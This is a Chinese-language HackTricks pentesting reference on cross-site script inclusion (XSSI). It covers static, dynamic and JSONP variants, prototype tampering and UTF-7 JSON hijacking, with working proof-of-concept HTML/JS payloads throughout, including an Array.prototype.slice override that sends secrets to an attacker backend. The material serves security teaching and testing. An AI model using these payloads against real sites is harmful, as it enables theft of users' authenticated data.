hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
2023-08-03 19:12:22 +00:00

8.1 KiB
Raw Blame History

XSSI跨站脚本包含

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

该信息来源于https://www.scip.ch/en/?labs.20160414

基本信息

XSSI指的是一种利用了以下事实的漏洞当使用script标签包含资源时SOP同源策略不适用因为脚本必须能够跨域进行包含。因此攻击者可以通过使用script标签读取所有被包含的内容。

当涉及到动态JavaScript或JSONP时这一点尤其有趣因为这些情况下使用了所谓的环境权限信息如cookies用于身份验证。当从不同的主机请求资源时这些cookies会被包含进来。

类型

  1. 静态JavaScript常规XSSI
  2. 只有在身份验证后才能访问的静态JavaScript
  3. 动态JavaScript
  4. 非JavaScript

常规XSSI

私人信息位于全局可访问的JS文件中你可以通过读取文件、搜索关键字或使用正则表达式来检测到这一点。
要利用这个漏洞,只需在恶意内容中包含包含私人信息的脚本:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

动态基于JavaScript的XSSI和经过身份验证的JavaScript XSSI

当用户请求脚本时,会添加机密信息。通过发送请求带有和不带有cookies,可以轻松发现这一点,如果检索到不同的信息则可能包含机密信息。要自动执行此操作可以使用Burp扩展https://github.com/luh2/DetectDynamicJS

如果信息存在于全局变量中,您可以使用与前面情况相同的代码来利用它。
如果机密数据在JSONP响应中发送您可以覆盖执行的函数以检索信息

<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

或者你也可以设置一个预先准备好的函数来执行JSONP响应

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

如果一个变量不在全局命名空间中有时仍然可以利用_prototype篡改_来进行利用。原型篡改滥用了JavaScript的设计即在解释代码时JavaScript会遍历原型链以找到调用的属性。以下示例摘自论文动态JavaScript的意外危险,演示了如何覆盖类型为Array的相关函数并访问this,从而泄漏非全局变量。

(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();

在原始代码中,类型为Arrayslice访问了我们感兴趣的数据。正如前面的部分所描述的,攻击者可以覆盖slice并窃取秘密信息。

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

安全研究员Sebastian Lekies最近更新了他的攻击向量列表

非脚本XSSI

Takeshi Terada在他的论文基于标识符的XSSI攻击中描述了另一种类型的XSSI。他能够通过在script标签中包含CSV文件作为源文件并使用数据作为变量和函数名来泄露跨源的非脚本文件。

第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章使用GMail的高级Web攻击技术描述了一种XSSI攻击通过覆盖Array构造函数能够读取Google账户的完整通讯录。

2007年Joe Walker发表了JSON并不像人们想象的那样安全。他使用了相同的思路来窃取嵌入在Array中的JSON数据。

其他相关攻击是通过将UTF-7编码的内容注入到JSON中来逃避JSON格式。这在Gareth Heyes的博客文章JSON劫持中有描述,他是Hackvertor的作者。在快速测试中这在Microsoft Internet Explorer和Edge中仍然可行但在Mozilla Firefox和Google Chrome中不可行。

带有UTF-7的JSON

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

将JSON包含在攻击者的页面中

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥